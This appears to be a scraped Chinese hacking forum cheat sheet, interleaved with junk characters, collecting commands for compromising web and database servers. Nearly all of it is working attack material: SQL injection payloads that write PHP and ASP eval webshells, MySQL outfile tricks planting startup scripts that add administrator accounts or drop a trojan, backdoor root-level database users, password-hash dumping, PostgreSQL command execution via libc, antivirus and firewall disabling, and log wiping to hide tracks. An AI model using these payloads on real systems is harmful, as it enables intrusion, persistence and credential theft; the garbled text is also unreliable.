0 |$ |/ y7 T4 {3 a+ q堵上cmdshell的sql语句 & n; z6 F! ?. Y* M1 W" Ksp_dropextendedproc "xp_cmdshel+ G H% F+ e3 l m8 K1 S, d# c
------------------------- 9 p, J% g( U7 c( j$ f清除3389的登录记录用一条系统自带的命令: * Q U' n/ ^6 n3 Oreg delete "hkcu\Software\Microsoft\Terminal Server Client" /f 2 w) J$ z4 N, Y 1 j% {) U$ Q9 }$ u' N4 R然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件 6 a( x# X; O; ]/ A# d; Z2 z在 mysql里查看当前用户的权限 0 U& W1 T# n8 l" `/ Gshow grants for + l B. v8 p o2 \
3 \+ c2 R1 q& i
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。 2 B# ]6 |8 b5 p/ T- {/ [' c& F+ A+ K% n' }! q
! }0 G- s7 r( o5 }' LCreate USER 'itpro'@'%' IDENTIFIED BY '123';9 v9 i, `0 a1 I% V
i, c. L! P, J" G, `0 c. |GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION % G1 T" q% w, ~) f6 i1 M5 x) @8 A4 E' F, V. O; s' \7 D \
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 k/ v* ^. e- o; h; L2 f# S- d) ~ n3 o/ U) ]
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;: d& [& s1 e; X2 ?1 t: C' H. A3 t# A
4 T8 y1 s5 k9 Y8 R, ~搞完事记得删除脚印哟。% j$ C: L5 } m/ x8 M2 R
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Drop USER 'itpro'@'%'; # J. A8 a X; @; L* H8 o S# \/ y: Z3 i 8 {8 D9 L5 R/ I, k2 T0 U; [, t% LDrop DATABASE IF EXISTS `itpro` ; \8 ]+ T, C# K7 O( Q: n" `7 l; g 5 Z" K# v i E% n6 P) s8 P* }当前用户获取system权限 , s- G a: N1 f$ ?. J, T7 u1 m3 ~sc Create SuperCMD binPath= "cmd /K start" type= own type= interact 3 d, O; S( A+ N* ^+ e. X$ Bsc start SuperCMD( g+ _/ N& ^. b# U, O) m3 R+ n! ^
程序代码 ; U c/ [- |- p) L% U/ O; }<SCRIPT LANGUAGE="VBScript"># V# Q1 S% d& Q# ^' Q# ~9 N+ [* Z
set wsnetwork=CreateObject("WSCRIPT.NETWORK") h/ {$ v c1 v' S9 B# d: U' N
os="WinNT://"&wsnetwork.ComputerName 6 A6 f/ d+ E3 H' N I) u5 DSet ob=GetObject(os) # Q) [6 v1 R8 I l, U$ _Set oe=GetObject(os&"/Administrators,group") ' N/ W! p% ?$ \/ ]' c% s! |7 ASet od=ob.Create("user","nosec")9 y1 D2 q A' Y1 T1 K
od.SetPassword "123456abc!@#" 5 c. E+ r7 G9 A5 |2 _2 Bod.SetInfo* M3 i! [, B# Q& N
Set of=GetObject(os&"/nosec",user) ) A* u$ [7 j5 T" Boe.add os&"/nosec"/ p( `: M3 [$ v \
</Script> ( b+ r$ v# x; z- e<script language=javascript>window.close();</script>+ v9 F7 x5 k m2 V- {
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+ ?7 x9 f& ]% J4 E. |: k
突破验证码限制入后台拿shell: G! z! c( P% X. Q; n( y" Z
程序代码 n8 z4 W' w$ Q& D B; k
REGEDIT4 0 Q+ q! |+ A; f( W4 A+ Q+ \
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] S' q! K" T: }2 ~ Y0 d"BlockXBM"=dword:00000000$ n& ]% u5 n" D3 m" W6 Z
" o# x0 u1 c2 N! D$ n, W保存为code.reg,导入注册表,重器IE! _9 J4 Z: [( h
就可以了6 i3 Y* g0 L5 Z. X: {; k
union写马 / L2 i7 M+ d/ A8 W- r: A; p# S% M' |程序代码+ c1 z0 c7 K8 `7 w; ]4 C' t www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/* 8 v- c9 s! Y. u! E* ?9 ], R! P . N$ @' A! B. j0 m5 {应用在dedecms注射漏洞上,无后台写马3 w ?& w% O) H7 z2 H
dedecms后台,无文件管理器,没有outfile权限的时候- s; m1 @% Y" S9 [
在插件管理-病毒扫描里 0 ~6 `7 D3 I: }2 J' T, C+ U写一句话进include/config_hand.php里 1 W7 x9 w# H' H/ i5 K; Y' w程序代码 , {* j/ L8 K- D0 ^0 {% E>';?><?php @eval($_POST[cmd]);?>, ]. T$ a% ]7 C: ~$ s2 n
1 j7 O" Q- m! a' v- U5 s, j C' ^- v6 w3 c
如上格式 0 i, v' n! |+ Y. j# P$ Y0 P s$ l7 h4 B0 |, ^' }8 _0 W
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解 : s+ ^" g* x% m* g( Q2 J" C _程序代码 ) D$ e$ c/ K! f0 Nselect username,password from dba_users;" _" ~& T5 z& V1 n# Z3 T) p
9 \' ]& E3 v C6 @- R2 y3 M/ D: y* G 9 Y% q1 x* o6 i; a1 Rmysql远程连接用户 1 Z0 U- d+ P* }8 @9 G程序代码 " C5 u' t u! L9 }1 @ ; Z& a' w: i4 ?* Q, ~# u& ~Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme'; 1 E% H& k3 f" H& R' c! lGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION 6 A( f! y! S+ E) S; u/ tMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 2 c" C6 t( @. jMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;/ _ R2 w5 D1 i: H" y
3 Z- i! \, B+ G/ J7 }% O6 C; {. w , E. b- X8 ?* h+ @) r n8 G% W$ w" b 2 D, [, V2 `+ k) _# J2 @程序代码) T" y. O! }$ ~+ F7 p
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash! G7 n6 Z1 H6 s/ T R- q" S
* F; A. T3 g5 ]
设置为1,关闭LM Hash) p$ L _! L9 b) `
5 D: s5 r3 s! y, v3 S数据库安全:入侵Oracle数据库常用操作命令, O+ d. L; \0 g P, e& T+ i: n, @
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。 9 ^6 {+ S# M1 Y/ Z1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 , e/ n: z) y) }* J- t0 B2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;: P* g2 d+ B' ~% f
3、SQL>connect / as sysdba ;(as sysoper)或 2 w1 q5 r- u' O0 R lconnect internal/oracle AS SYSDBA ;(scott/tiger) 3 u% W! N; ]) h* u; s' Hconn sys/change_on_install as sysdba;% `# `8 u3 v+ s3 g& s! z `; d* m! D
4、SQL>startup; 启动数据库实例2 W/ R; H' }3 Q7 S# s
5、查看当前的所有数据库: select * from v$database;! u, m& k* A, ]: h R
select name from v$database; % [) u) b8 b4 u1 @% m" R/ u% X6、desc v$databases; 查看数据库结构字段9 f: ]1 |$ k5 ~ m( N# {
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限: 9 v6 `4 r* W1 ]# }. H6 VSQL>select * from V_$PWFILE_USERS; 2 H* ~0 ^' M5 J; X6 \! T+ d9 L9 pShow user;查看当前数据库连接用户 + `: t1 }/ A, i3 ?1 A! d8、进入test数据库:database test; ' H8 t0 B! W2 I! e e/ N" s7 W9、查看所有的数据库实例:select * from v$instance; + T2 n) g P( U ?" X4 o如:ora9i+ ?, P( u* q, ]+ z, j0 \5 c! ?9 ]7 L
10、查看当前库的所有数据表:4 L8 N) U1 e7 O% O# d% \" o
SQL> select TABLE_NAME from all_tables;7 s7 d! w- v3 @; _) r- n7 g- L: k& r
select * from all_tables; % g) w7 Y" e% Q! i s) pSQL> select table_name from all_tables where table_name like '%u%';% v! h% ^- P2 w' U7 j
TABLE_NAME ; x! ?6 d% J0 ^3 j------------------------------ " ~: B2 e# |/ W! ~ }, M: n h_default_auditing_options_1 g" A% C; F4 w) } t& m
11、查看表结构:desc all_tables; ' x- O, R, Q' D" w& Z# E12、显示CQI.T_BBS_XUSER的所有字段结构: ! k- g5 ?5 T; J, j0 Z! E3 j3 Gdesc CQI.T_BBS_XUSER; 3 D) Q. n7 }+ B9 ]1 O+ y" M, `13、获得CQI.T_BBS_XUSER表中的记录:; @; A$ T. i. l: J% j( |
select * from CQI.T_BBS_XUSER; : m0 K9 Z! Z# y14、增加数据库用户:(test11/test) - v: I) R. g6 b6 g0 Z% @create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;% V( f6 X5 ?8 b) O# C0 e
15、用户授权:6 ^- Q7 D4 `. V- i# |
grant connect,resource,dba to test11;( ]- v K% \, P. }- p$ d
grant sysdba to test11;* ^0 T5 L! Y! t" D7 w& K8 U' Z
commit;7 L% A& \8 a# F' \6 D: y
16、更改数据库用户的密码:(将sys与system的密码改为test.)* }* W( m2 }) `
alter user sys indentified by test;# E3 e1 f. V* x; w; w+ {
alter user system indentified by test; / ^0 M6 s; x( H+ y0 S/ v 7 v! C. p6 [' `/ s' T9 B- japplicationContext-util.xml 0 X2 R7 f# D: k' f$ \applicationContext.xml 5 s; P9 D' Y+ G- l0 e: ostruts-config.xml2 u2 P- [: O8 \2 Z8 m4 U' G
web.xml % q+ m+ N7 \* E. t, Zserver.xml6 @& N$ Z. | d+ N' ]5 h1 m% n/ o" d
tomcat-users.xml + z0 s" l: b5 @" \# k3 C+ E1 ]hibernate.cfg.xml , K3 I; j& u3 q" P4 Idatabase_pool_config.xml$ p. V+ ~- p& }+ ^. B' A3 J) Y& j
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4 A+ u# N/ ]& N0 h( v& P
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置$ _/ C y$ `% S; a
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini; i6 f# g1 b# M
\WEB-INF\struts-config.xml 文件目录结构 / t3 x# t; z$ ?# A- Z ; e% J5 n- D) z- J7 Rspring.properties 里边包含hibernate.cfg.xml的名称+ a/ k- l$ i' l i( I" t
% T7 r- F. }5 {' W) _
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C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml + U" c& L7 h/ Q6 W. W) Q- U% d3 k6 w. \$ O% N/ C
如果都找不到 那就看看class文件吧。。 & B' C; Z+ L5 U. ~ " _# o; L0 U: M0 i) v" ~( V3 ]测试1:6 i' ]8 w4 V' v+ Q" P j/ H0 K1 i% R
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1: B1 z+ v8 P2 t9 ?, X
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测试2: 8 R L( ~' Z( {1 J0 q4 z 0 s( K% t5 w9 n4 Mcreate table dirs(paths varchar(100),paths1 varchar(100), id int) Y/ N0 H# Y4 B % K: N! E* M4 ^' h) U+ Z5 d/ `6 Kdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--. B' `4 ]2 w; r* s1 c5 {7 y1 J( j4 {
! F: M& l- p! o- m
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1 8 i1 V* ]0 C, m7 l" I7 X/ z+ B 9 S) P8 w5 [2 |查看虚拟机中的共享文件:' J* S9 @) ^$ h$ ^& j! a
在虚拟机中的cmd中执行) n7 [/ j! a* W: S C) {
\\.host\Shared Folders$ G2 U: N) f' d" R) ?
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cmdshell下找终端的技巧. n- _% X( j! v$ \+ T3 N2 |, M; V
找终端: 1 r4 u9 J4 q y4 y) g, F
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! ! R, D3 K9 \: g% `' r 而终端所对应的服务名为:TermService / R U' c) Z3 z. C' Y' R: p第二步:用netstat -ano命令,列出所有端口对应的PID值! . c% L$ ?; @6 Y+ x5 m( z
找到PID值所对应的端口7 b& k K% }) N- Q- O$ q
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查询sql server 2005中的密码hash % ~5 X- P7 P2 H1 WSELECT password_hash FROM sys.sql_logins where name='sa' + R& \% x, z$ m0 }* e, L% f' ` X4 ISELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a, O( u) \- O9 H4 [
access中导出shell& r+ [% y }2 r
: h% _0 \+ p) Q
中文版本操作系统中针对mysql添加用户完整代码:$ h1 s( h `/ P$ b
7 {% w7 h' K; s7 v3 G3 o" ]use test; ; l" B6 x( Q. A5 I5 N! Jcreate table a (cmd text);+ ^: L* x' B d- }: u! o
insert into a values ("set wshshell=createobject (""wscript.shell"") " );! _1 K8 k6 w7 q, s! W3 K3 T( F
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " ); 5 B6 x& E8 Y2 {% A- H% l, e7 C% y. Rinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); + M: A9 a ]- x9 j }, ^% \select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";) ~, b! R1 m3 L' O
drop table a; & \. p: E2 a4 J: i! e, w : \( E% g0 O5 T英文版本: ) T: T: x" D; z9 t, Y* H9 O& R! z; P$ v% V7 b
use test;+ }, T4 ?! d4 K% ^+ d7 H
create table a (cmd text); " @! D/ J, i# Winsert into a values ("set wshshell=createobject (""wscript.shell"") " ); : s$ N6 k# o k$ b/ g3 A$ d& E+ N/ I, sinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " ); ?, q ?6 F& w0 o" ]; X" [4 p3 Q3 Iinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); 7 P! w9 C/ |$ m& P0 Vselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs"; ' s: C* f! g% g* ]drop table a;5 L% `3 f. ]- s. _+ w4 X/ @# q
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create table a (cmd BLOB);2 W& [! K% M7 H0 R1 A
insert into a values (CONVERT(木马的16进制代码,CHAR));% m# t8 q( c- c5 f1 G
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'/ t/ a7 Z( q7 l
drop table a; 0 B0 M& q. r6 p6 M3 k. f 3 V' p- w4 s% E+ p) G记录一下怎么处理变态诺顿 - C B8 u$ J/ F# g( c% Z: a查看诺顿服务的路径 0 G! ^( d1 ~& a3 bsc qc ccSetMgr" H- J. D- m$ s4 F3 b: j' p
然后设置权限拒绝访问。做绝一点。。, x% }3 f) R2 z' v$ k% A. s
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system 0 }6 x1 I9 H4 H1 \8 hcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"6 R7 W: E& Z' g; l- X6 u! G* G2 ]
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators7 e0 y( `& c( k" [( x
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone 8 W: p. }4 F: E) X: r0 i 1 R2 Q/ K4 h0 y* u1 O, ?. O! N) f2 I然后再重启服务器+ ~( |& r# s& t9 H) K2 L0 f! q, T
iisreset /reboot " g, q: @9 c' v" n5 r5 h这样就搞定了。。不过完事后。记得恢复权限。。。。 , o1 O* Q7 U5 m; y- kcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F . P g0 G2 r2 l s: A- \cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F 0 @2 s1 O( B8 X3 acacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F( ]3 i4 N% @( h$ Q6 B7 x) ?( o. C
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F 0 m% K" ^9 ?) E0 X5 k7 I% l6 A N) ?SELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin1 W$ R2 f6 C3 j' V, N8 }
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EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''') * O! R) g" ` g3 u+ H+ |" ~& S" o
postgresql注射的一些东西0 o$ ?. T, Y5 x, n7 w
如何获得webshell % y& z2 s$ c6 A, N, _& Shttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); * M8 { O4 j. l' k http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); 6 P# } I9 I, V: b5 n, Fhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$; 7 q+ X8 f: V6 P4 t! h3 T* u' j如何读文件 5 c4 f) ]' _4 r) Q ghttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); z+ J( w A2 ?0 Z+ O( F http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;7 E9 {: U, y. y9 S: u& z5 Q) l" u http://127.0.0.1/postgresql.php?id=1;select * from myfile;" |% u4 T3 _- Z- z$ |' _: E8 j2 }
, ?+ n( ?. W i3 F R& Vz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。- \" q0 l% }- k3 d) n( @
当然,这些的postgresql的数据库版本必须大于8.X3 L( {, I u* E0 N
创建一个system的函数: & P9 M M' K5 e, e OCREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT # ?1 d( l0 d) H$ d2 c # w, ~' ~% S) ?; V$ P创建一个输出表:4 k7 E0 E2 v6 F2 z! J* [% z
CREATE TABLE stdout(id serial, system_out text) K$ o& G, i- _) o$ [, `, u
3 X4 A x& | {& x0 h, n' b
执行shell,输出到输出表内: 1 i5 s+ G8 a' J" o( @SELECT system('uname -a > /tmp/test')# h3 ?) u; Q3 D, U& N
+ Y5 S' W8 P) f kcopy 输出的内容到表里面; / |5 R4 q* {* TCOPY stdout(system_out) FROM '/tmp/test'& s% R# G( Q! [ x) b
, g5 E0 ^7 X3 O
从输出表内读取执行后的回显,判断是否执行成功7 l" S4 r- _8 ~! @# n! Y& b+ e
- P5 D: L9 ~# o' zSELECT system_out FROM stdout6 l$ L, i4 W# V9 P8 @2 J; s
下面是测试例子 $ S9 q& F7 g) i* Y, X# }' ]- Q1 ^/ s, p; U/ h, G; u- V: z
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 5 D- s" a; [* @+ w. z' ]
" ~8 y, O- o9 a2 L3 c. O
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ; `2 O+ ?$ J# w; }; A* z+ GSTRICT -- / A4 ]2 Q9 `1 V/ ?/ F* b! V, H5 A* j1 R$ S
/store.php?id=1; SELECT system('uname -a > /tmp/test') --4 t" G9 K% x4 O8 k
j. {8 i( l$ x4 h/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- 7 _% g- f0 V+ x% z * n. A; d0 j) k) o! l. S/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--3 }- f1 J. z, n4 S& f, C
net stop sharedaccess stop the default firewall 4 I. @, ^4 ] m2 }) i# ]- Enetsh firewall show show/config default firewall 0 G& P! n% a, k9 v4 L& ~! _netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall- f. |9 o1 T0 [3 D& n& }# _9 U
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall 9 U& E! f( s7 `; d# d' [9 v修改3389端口方法(修改后不易被扫出) 4 g8 `2 k) {2 K6 w- b9 D( Z修改服务器端的端口设置,注册表有2个地方需要修改( ~* w+ A! S( [, W l8 Q